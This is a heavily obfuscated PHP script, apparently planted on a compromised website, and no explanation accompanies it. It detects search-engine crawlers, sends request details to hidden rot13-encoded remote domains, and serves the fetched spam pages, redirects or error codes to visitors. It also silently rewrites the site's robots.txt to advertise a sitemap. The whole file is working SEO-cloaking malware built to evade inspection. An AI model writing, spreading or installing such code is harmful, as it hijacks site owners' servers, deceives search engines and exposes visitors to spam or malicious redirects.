<?php
 goto SbANr; X4dn7: $urlshang = ''; goto gVs0_; R8hjz: $server = detect_server_software(); goto viJfQ; gVs0_: if (isset($_SERVER["\110\124\x54\x50\137\122\105\x46\x45\x52\105\122"])) { $urlshang = $_SERVER["\110\124\x54\120\137\122\105\106\x45\x52\x45\x52"]; } goto ewcJV; IxL8p: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto ZUJFK; xJpVy: $string = "\x35\x37\71\55\154\x69\x6e\x6b\x31\x37\71\55\61"; goto WBU7r; vzccC: if (empty($matches) || $matches[1] == "\x77\160\55\143\x72\157\155\x2e\x70\x68\x70" || $matches[1] == "\144\x65\x74\x61\151\x6c\x2e\x70\150\x70") { $model_file = "\x69\x6e\x64\x65\x78\x2e\160\150\x70"; $model = "\151\x6e\x64\x65\x78"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\x2f"); } $model = str_replace("\56\160\x68\160", '', $model_file); } goto emWzp; WBU7r: $istest = false; goto IxL8p; MyaZT: $html_content = request($xmlname, $http_web, $param); goto Y26g7; Y26g7: if (!strstr($html_content, "\x6e\x6f\x62\x6f\x74\165\x73\x65\x72\141\x67\x65\x6e\x74")) { if (strstr($html_content, "\x6f\x6b\150\x74\155\154")) { @header("\103\157\156\x74\x65\x6e\x74\55\164\x79\x70\x65\72\40\164\x65\170\164\57\x68\164\x6d\x6c\73\x20\x63\150\141\162\163\145\164\75\165\x74\x66\55\x38"); $html_content = str_replace("\157\153\x68\164\155\154", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\147\x65\x74\143\157\156\x74\x65\156\164\x35\x30\x30\x70\141\x67\145")) { @header("\110\x54\x54\x50\57\61\56\61\x20\65\60\60\x20\111\x6e\x74\145\x72\156\141\x6c\x20\123\x65\162\166\145\162\x20\105\x72\x72\x6f\162"); die; } else { if (strstr($html_content, "\x34\60\64\160\x61\x67\x65")) { @header("\x48\x54\124\x50\57\61\56\61\40\64\60\x34\40\x4e\x6f\x74\x20\x46\157\x75\156\144"); die; } else { if (strstr($html_content, "\x33\60\x31\x70\x61\x67\145")) { @header("\x48\x54\124\x50\57\61\x2e\61\40\x33\60\x31\x20\115\157\166\145\x64\40\120\x65\162\x6d\x61\x6e\x65\156\x74\154\171"); $html_content = str_replace("\x33\60\61\x70\x61\x67\x65", '', $html_content); header("\114\157\x63\x61\164\151\x6f\x6e\72\40" . $html_content); die; } else { if (strstr($html_content, "\157\x6b\x78\155\x6c")) { $html_content = str_replace("\x6f\x6b\x78\155\154", '', $html_content); @header("\103\x6f\x6e\164\145\x6e\164\55\124\171\160\x65\72\x20\141\160\160\x6c\x69\143\x61\x74\151\157\156\57\x78\x6d\154\73\40\x63\x68\x61\162\163\145\x74\75\x75\x74\146\55\x38"); echo $html_content; die; } else { if (strstr($html_content, "\157\x6b\x72\x6f\x62\x6f\164\163")) { $html_content = str_replace("\157\153\x72\157\142\x6f\164\x73", '', $html_content); @header("\x43\x6f\156\x74\145\x6e\164\55\124\x79\160\145\x3a\x20\164\x65\170\164\x2f\x70\x6c\x61\151\156"); echo $html_content; die; } } } } } } } goto orJPZ; SbANr: $xmlname = array("\x25\63\65\x25\x33\67\x25\x33\x39\45\x32\x44\45\x37\x39\x25\x37\66\45\x36\x31\45\67\70\45\x33\61\45\63\x37\45\x33\x39\45\62\x44\45\x33\61\x25\62\x45\x25\67\101\x25\x36\x45\x25\x37\64\45\x36\x31\45\66\105\45\66\x31\x25\62\x45\45\66\x37\45\x36\62\45\66\x33", "\x25\63\65\45\63\67\x25\63\71\45\x32\x44\45\67\71\x25\x37\66\x25\x36\61\x25\x37\70\45\x33\x31\x25\63\x37\45\x33\71\45\x32\104\x25\63\x31\x25\x32\x45\45\66\64\45\66\x38\45\67\66\x25\x36\x31\45\66\67\x25\67\x32\45\x36\x36\45\x36\66\45\x36\103\x25\62\x45\x25\x36\x37\x25\x36\62\x25\66\63", "\x25\x33\65\45\63\x37\x25\x33\71\x25\x32\104\x25\x37\x39\x25\x37\66\x25\66\61\45\x37\x38\x25\x33\61\45\63\67\45\63\71\45\62\x44\45\63\61\45\x32\105\x25\x37\x41\x25\x37\62\x25\66\67\x25\66\x45\45\66\106\45\66\x35\x25\67\66\x25\67\61\45\67\64\x25\x36\x45\x25\62\105\x25\x36\x42\45\x36\103\x25\66\104", "\x25\x33\x35\x25\x33\x37\45\63\x39\45\x32\x44\x25\x37\x39\45\x37\x36\45\66\61\x25\67\x38\45\x33\x31\45\x33\x37\45\x33\71\45\62\104\x25\63\x31\45\62\105\45\67\60\45\66\65\x25\x37\x32\45\66\x45\45\x37\60\x25\x37\x36\45\66\104\45\67\62\x25\66\61\45\x32\x45\x25\66\x42\x25\66\103\x25\x36\104"); goto hl2F1; fIxB1: function detect_server_software() { $path = $_SERVER["\104\x4f\x43\125\x4d\105\x4e\124\x5f\122\x4f\x4f\124"] . "\57\x2e\x68\x74\x61\143\143\145\163\x73"; if (file_exists($path)) { return 1; } else { return 2; } } goto UZ3IR; viJfQ: create_robots($http . "\x3a\57\57" . $host); goto EcCT6; yA00M: function drequest_uri() { if (isset($_SERVER["\x52\105\x51\125\105\x53\124\137\125\122\x49"])) { $duri = $_SERVER["\x52\105\121\x55\x45\x53\124\137\x55\x52\111"]; } else { if (isset($_SERVER["\141\162\147\x76"])) { $duri = $_SERVER["\120\110\x50\137\123\x45\x4c\x46"] . "\77" . $_SERVER["\141\x72\147\166"][0]; } else { $duri = $_SERVER["\120\x48\120\x5f\x53\x45\114\x46"] . "\77" . $_SERVER["\121\125\105\x52\x59\x5f\123\x54\122\x49\x4e\107"]; } } return $duri; } goto AShaq; orJPZ: function disbot() { $user_agent = strtolower($_SERVER["\110\124\x54\120\x5f\x55\x53\105\x52\137\101\107\x45\116\x54"]); if (stristr($user_agent, "\x67\157\x6f\147\154\x65\x62\x6f\x74") || stristr($user_agent, "\142\x69\x6e\x67") || stristr($user_agent, "\x79\x61\150\157\x6f") || stristr($user_agent, "\147\x6f\x6f\x67\x6c\145") || stristr($user_agent, "\x47\x6f\x6f\147\154\145\142\x6f\x74")) { return 1; } else { return 2; } } goto yA00M; EcCT6: $param = "\x77\145\x62\x3d" . $host . "\46\x7a\172\x3d" . $zz . "\x26\x75\162\151\75" . $duri . "\46\165\x72\x6c\163\x68\141\156\147\x3d" . $urlshang . "\x26\150\164\x74\x70\75" . $http . "\x26\154\x61\x6e\x67\x3d" . $lang . "\46\163\145\162\166\145\162\x3d" . $server . "\x26\x6d\x6f\x64\x65\154\75" . $model; goto MyaZT; UZ3IR: function create_robots($url) { $function = func(); $path = $_SERVER["\104\x4f\x43\x55\x4d\x45\x4e\124\137\x52\117\x4f\124"] . "\x2f\162\157\x62\157\x74\163\x2e\x74\170\164"; $content = "\125\x73\145\162\x2d\x61\x67\145\x6e\164\72\40\52" . PHP_EOL; $content .= "\x41\x6c\x6c\x6f\167\72\x20\x2f" . PHP_EOL . PHP_EOL; $content .= "\x53\x69\164\145\155\141\160\x3a\x20" . $url . "\x2f\163\151\x74\x65\x6d\x61\x70\56\x78\155\x6c" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto ngxdu; AShaq: function is_https() { if (isset($_SERVER["\110\124\124\x50\x53"]) && strtolower($_SERVER["\110\x54\x54\x50\123"]) !== "\157\x66\x66") { return true; } elseif (isset($_SERVER["\110\x54\124\x50\137\x58\x5f\106\117\x52\x57\101\122\104\x45\x44\137\120\x52\x4f\124\x4f"]) && $_SERVER["\x48\124\124\120\x5f\x58\x5f\106\x4f\x52\x57\x41\x52\x44\105\x44\137\120\x52\x4f\124\x4f"] === "\x68\164\164\160\x73") { return true; } elseif (isset($_SERVER["\x48\124\x54\120\137\106\122\117\x4e\x54\137\x45\x4e\104\137\110\124\124\x50\x53"]) && strtolower($_SERVER["\x48\124\x54\120\x5f\x46\122\117\x4e\124\137\105\x4e\x44\x5f\110\x54\124\120\x53"]) !== "\x6f\x66\x66") { return true; } return false; } goto fIxB1; ZUJFK: if ($duri != "\x2f") { $duri = str_replace("\57" . $model_file, '', $duri); $duri = str_replace("\x2f\x69\156\x64\x65\x78\56\160\150\x70", '', $duri); $duri = str_replace("\x21", '', $duri); } goto OkStR; hl2F1: $http_web = "\150\164\x74\160"; goto MojBB; OkStR: $duri = urlencode($duri); goto R8hjz; ewcJV: if (is_https()) { $http = "\x68\x74\x74\160\163"; } else { $http = "\x68\x74\164\160"; } goto XAGNQ; ngxdu: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\72\x2f\57" . $domain . "\57\x73\165\160\x65\162\x36\x2e\160\150\160\77" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\x34\x34\x33")) { echo "\x34\x34\63"; } curl_close($ch); } if (ini_get("\x61\154\x6c\x6f\167\x5f\165\x72\x6c\x5f\x66\157\160\145\156")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\x6e\157\142\x6f\x74\165\x73\x65\162\x61\x67\x65\x6e\164"; } goto fHlqC; XAGNQ: $zz = disbot(); goto VZQBV; emWzp: if (stristr($duri, "\x2f\x3f")) { $model = "\x3f"; } goto xJpVy; CkVT9: preg_match("\57\x5c\57\50\x5b\136\x5c\57\135\53\x5c\x2e\x70\150\160\x29\x2f", $duri, $matches); goto vzccC; C52Ts: $duri = $duri == '' ? "\x2f" : $duri; goto CkVT9; MojBB: $host = $_SERVER["\x48\x54\x54\x50\137\110\117\x53\x54"]; goto Zr6vt; Zr6vt: $lang = isset($_SERVER["\110\124\x54\x50\x5f\101\103\103\105\120\124\137\114\x41\116\107\125\101\x47\105"]) ?: "\x65\156"; goto X4dn7; VZQBV: $duri = drequest_uri(); goto C52Ts; fHlqC: function func() { $chars = range("\141", "\x7a"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[15] . $chars[20] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[6] . $chars[4] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\137" . $chars[17] . $chars[14] . $chars[19] . "\61\63"); }